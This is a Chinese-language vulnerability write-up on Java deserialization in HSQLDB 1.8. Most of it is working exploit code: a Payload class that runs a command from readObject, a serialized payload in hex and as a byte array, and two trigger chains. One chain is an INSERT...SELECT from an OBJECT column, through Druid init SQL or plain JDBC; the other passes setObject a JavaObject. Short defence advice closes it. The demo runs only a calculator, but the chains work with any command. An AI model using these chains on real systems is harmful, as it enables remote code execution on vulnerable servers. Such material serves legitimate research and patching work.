hsqldb 1.8 反序列化漏洞利用的新方式
字数 588 2025-08-22 22:47:39
HSQLDB 1.8 反序列化漏洞利用分析
漏洞概述
HSQLDB 1.8 版本存在反序列化漏洞,攻击者可以通过特定方式构造恶意序列化数据,在数据库操作过程中触发反序列化执行任意代码。该漏洞主要存在于两种利用方式中:
- 通过 OBJECT 类型字段转换触发反序列化
- 通过 setObject 方法直接触发反序列化
环境准备
依赖配置
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>druid</artifactId>
<version>1.2.8</version>
</dependency>
<dependency>
<groupId>org.hsqldb</groupId>
<artifactId>hsqldb</artifactId>
<version>1.8.0.10</version>
</dependency>
</dependencies>
恶意Payload类
package org.example;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Payload implements Serializable {
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
Runtime.getRuntime().exec("calc");
}
}
利用方式一:OBJECT类型字段转换
原理分析
当表1的字段类型为OBJECT类型,将其内容插入到表2时,会通过以下调用链触发反序列化:
executeInsertSelectStatement函数Column.convertObject函数- 最终进行反序列化操作
利用代码示例
使用Druid连接池
DruidDataSource druidDataSource = new DruidDataSource();
// 设置JDBC URL
Field jdbcUrl = DruidDataSource.class.getSuperclass().getDeclaredField("jdbcUrl");
jdbcUrl.setAccessible(true);
jdbcUrl.set(druidDataSource, "jdbc:hsqldb:mem:mydb");
// 设置驱动类
Field driverClass = DruidDataSource.class.getSuperclass().getDeclaredField("driverClass");
driverClass.setAccessible(true);
driverClass.set(druidDataSource, "org.hsqldb.jdbcDriver");
// 设置初始化SQL语句
List<String> list = new ArrayList<>();
list.add("CREATE TABLE test_1 (id INTEGER IDENTITY, name VARCHAR(255), data OBJECT)");
list.add("INSERT INTO test_1 (name, data) VALUES ('Alice', 'ACED0005737200136F72672E6578616D706C652E5061796C6F616414A7B1AF83D500320200007870')");
list.add("CREATE TABLE test_2 (id INTEGER IDENTITY, name VARCHAR(255),data CHAR)");
list.add("INSERT INTO test_2 (name, data) SELECT name,data FROM test_1");
Field connectionInitSqls = DruidDataSource.class.getSuperclass().getDeclaredField("connectionInitSqls");
connectionInitSqls.setAccessible(true);
connectionInitSqls.set(druidDataSource, list);
// 触发漏洞
druidDataSource.getConnection();
直接JDBC连接
Class.forName("org.hsqldb.jdbcDriver");
Connection connection = DriverManager.getConnection("jdbc:hsqldb:mem:mydb");
Statement statement = connection.createStatement();
// 创建表1(包含OBJECT类型字段)
statement.executeQuery("CREATE TABLE test_1 (id INTEGER IDENTITY, name VARCHAR(255), data OBJECT)");
// 插入恶意序列化数据
statement.executeQuery("INSERT INTO test_1 (name, data) VALUES ('Alice', 'ACED0005737200136F72672E6578616D706C652E5061796C6F616414A7B1AF83D500320200007870')");
// 创建表2
statement.executeQuery("CREATE TABLE test_2 (id INTEGER IDENTITY, name VARCHAR(255),data CHAR)");
// 触发漏洞:将表1的数据插入到表2
statement.executeQuery("INSERT INTO test_2 (name, data) SELECT name,data FROM test_1");
利用方式二:setObject方法
原理分析
通过setObject方法直接设置JavaObject类型的参数,可以绕过常规检查直接触发反序列化。
利用代码示例
byte[] bytes = new byte[]{-84, -19, 0, 5, 115, 114, 0, 19, 111, 114, 103, 46, 101, 120, 97, 109, 112, 108, 101, 46, 80, 97, 121, 108, 111, 97, 100, 20, -89, -79, -81, -125, -43, 0, 50, 2, 0, 0, 120, 112};
Class.forName("org.hsqldb.jdbcDriver");
Connection connection = DriverManager.getConnection("jdbc:hsqldb:mem:mydb");
Statement statement = connection.createStatement();
// 创建表
connection.prepareStatement("CREATE TABLE test (id INTEGER IDENTITY, name VARCHAR(255))").execute();
// 创建JavaObject并设置恶意序列化数据
JavaObject javaObject = new JavaObject(bytes);
// 触发漏洞
connection.prepareStatement("INSERT INTO test (name) VALUES (?)").setObject(1, javaObject);
序列化数据处理
字节数组转16进制字符串
public static String bytesToHex(byte[] bytes) {
StringBuilder hexString = new StringBuilder();
for (byte b : bytes) {
String hex = String.format("%02X", b);
hexString.append(hex);
}
return hexString.toString();
}
示例序列化数据
Payload类的序列化数据(16进制表示):
ACED0005737200136F72672E6578616D706C652E5061796C6F616414A7B1AF83D500320200007870
对应的字节数组:
new byte[]{-84, -19, 0, 5, 115, 114, 0, 19, 111, 114, 103, 46, 101, 120, 97, 109, 112, 108, 101, 46, 80, 97, 121, 108, 111, 97, 100, 20, -89, -79, -81, -125, -43, 0, 50, 2, 0, 0, 120, 112}
防御建议
- 升级HSQLDB到最新版本(当前最新为2.7.2)
- 避免使用不受信任的序列化数据
- 对数据库连接进行严格的访问控制
- 使用安全框架对反序列化操作进行防护